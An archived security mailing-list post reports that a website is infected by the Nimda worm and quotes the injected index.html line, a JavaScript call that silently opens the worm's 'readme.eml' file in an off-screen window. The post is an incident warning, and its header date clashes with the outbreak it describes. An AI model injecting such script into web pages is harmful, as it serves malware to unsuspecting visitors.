Security Incidents mailing list archives

Web site infected by Nimda

From: "acz [iSecureLabs]" <aurelien.cabezon () iSecureLabs com>
Date: Sun, 19 Sep 1999 17:46:14 +0200

Hi all,

http://www.digimind.fr/ is infected by Nimda virus !

This line was added at the end of the index.html

---<cut>---
<html><script language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script></html>
---<cut>---

If you wanna visit digimind.fr, turn your webbrowser javascript off !

---
Cabezon Aurelien
http://www.iSecureLabs.com


----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see: http://aris.securityfocus.com

Current thread:

Nimda - collected information Berislav Kucan (Sep 19)
- Web site infected by Nimda acz [iSecureLabs] (Sep 19)
  - RE: Web site infected by Nimda Jac Engel (Sep 19)
    - RE: Web site infected by Nimda Ken Pfeil (Sep 19)
    - RE: Web site infected by Nimda John Q. Public (Sep 19)
    - Re: MIME type of readme.eml (was Re: Web site infected by Nimda Rob Quinn (Sep 19)
    - Re: MIME type of readme.eml (was Re: Web site infected by Nimda Nick FitzGerald (Sep 19)
    - Re: MIME type of readme.eml (was Re: Web site infected by Nimda Rob Quinn (Sep 20)